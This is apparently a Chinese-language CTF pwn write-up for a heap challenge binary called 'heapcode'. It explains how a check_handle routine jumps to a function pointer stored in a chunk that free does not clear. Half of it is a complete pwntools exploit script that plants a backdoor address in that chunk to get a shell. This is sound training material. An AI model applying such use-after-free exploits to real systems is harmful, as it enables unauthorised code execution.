查看保护
查看ida
简单来说就是创建堆块和删除堆块而已,创建堆块的函数附带有写入函数。
但这里要注意一个程序里面的特殊的地方
在我们创建堆块时,程序会先创建一个0xa0大小堆块,并且这个地方还有个特殊的check_handle函数,如果在这个堆块地址+40的地方如果有函数地址,就会跳转执行。
并且创建堆块使用的时malloc,释放堆块也并没有清空堆块内容,所以我们可以加以利用。
完整exp:
from pwn import*
context(log_level='debug')
p=process('./heapcode')
backdoor=0x4012A5
def alloc(size,content):
p.sendlineafter(b'3.exit',b'1')
p.sendlineafter(b'Input your name:',b'aa')
p.sendlineafter(b'The length you want to say:',str(size))
p.sendlineafter(b'You say:',content)
def free():
p.sendlineafter(b'3.exit',b'2')
alloc(0x90//2,p64(0)*5+p64(backdoor))
free()
alloc(0x10,p64(0))
p.sendlineafter(b'3.exit',b'1')
p.interactive()